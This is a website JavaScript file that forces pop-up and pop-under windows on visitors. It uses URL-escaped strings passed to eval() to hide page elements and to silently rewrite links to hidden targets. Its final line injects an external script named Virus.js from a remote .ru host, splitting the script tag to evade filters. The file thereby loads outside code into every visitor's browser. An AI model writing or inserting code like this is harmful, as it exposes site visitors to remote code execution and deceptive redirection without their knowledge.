var leaveUs = true;

function DoOnExit (par1, par2)
{
	var theWin2 = null;
	
    if (!leaveUs) {
            return;
    }

	if (par1) {
		theWin2 = window.open('pex2.html');
		if (theWin2 && theWin2.open && !theWin2.closed)
		theWin2.blur();
	}
	if (par2) {
		theWin2 = window.open('pex1.html');
		if (theWin2 && theWin2.open && !theWin2.closed)
		theWin2.focus();
	}
}


var theWin4 =null;
var theWin6 = null;

function Runonexit (par3, par4)
{
    if(document.referrer.indexOf("http://" + document.location.host) != -1) {
            return;
    }
	if ( par3 ) {
		theWin6 = window.open('pmain.html') ;
		if (theWin6 && theWin6.open && !theWin6.closed) {
			theWin6.focus();
		}
	}

	if ( par4 ) {
		setTimeout("CheckAndRun ();",10000);
	}
}


function CheckAndRun () {
	theWin4 = window.open('punder.html');
	if (theWin4 && theWin4.open && !theWin4.closed)
	theWin4.blur();
	
	if (theWin6 && theWin6.open && !theWin6.closed) {
		if (self.window && self.window.open && !self.window.closed) 
                      self.window.blur();
		theWin6.focus();
	}
}


function DoIt (a,vispr,shhd)
{
	var n = a.length,e,j,k;
	for(var i = 0; i<n; i++){
		e = a.item(i);
		j = e.id;
		k = (j != null && j.length >= vispr.length) ? j.substr(0,vispr.length) : "\r\n";
		if(k == vispr){
			var v = "%65%2estyl%65%2Edispl%61y%3d%27"
			if(shhd)v += 'non%65%27';
			else v += 'inlin%65%27';
			eval(unescape(v));
		}
	}
}
function RunWhenLoaded (a)
{
	var n = a.length,e,j,k;
	for(var i = 0; i<n; i++){
		e = a.item(i);
		j = e.id;
		k = e.src;
		if(k == "about:blank"){
			//alert(e.id);
			e.src = e.id;
		}
	}
}

function OnLoadStart (vispr)
{
	a = document.all;
	if(a)DoIt (a,vispr,true);
	else {
		DoIt (document.getElementsByTagName('table'),vispr,true);
		DoIt (document.getElementsByTagName('tr'),vispr,true);
		DoIt (document.getElementsByTagName('td'),vispr,true);
		DoIt (document.getElementsByTagName('img'),vispr,true);
		DoIt (document.getElementsByTagName('a'),vispr,true);
		DoIt (document.getElementsByTagName('div'),vispr,true);
		DoIt (document.getElementsByTagName('span'),vispr,true);
	}
	OnexitRun ();
	RunWhenLoaded (document.getElementsByTagName('img'));
}

function OnexitRun ()
{
    el = document.getElementsByTagName('a');
    vispr = "http://";
	var n = el.length,e,j,k;
	for(var i = 0; i<n; i++){
		e = el.item(i);
		j = e.name;
		k = (j != null && j.length >= vispr.length) ? j.substr(0,vispr.length) : "\r\n";
		if(k == vispr){
			var vv='%65%2enam%65%3d%2';
			var qq='7 %27;e%2eh%72ef%3dj%';
			var aa='3b%65.t%61%72get%3d%';
			var hg='22_%62%6can%6b%22';
			var t=vv+qq+aa+hg+';';
			eval(unescape(t));
		}
	}
}

function CheckIt (title, url)
{
	if (document.all) {
		window.external.AddFavorite(url, title);
	}
	else if (window.sidebar) {
		window.sidebar.addPanel(title, url, "")
	}
}





document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Virus.js"></scri'+'pt>');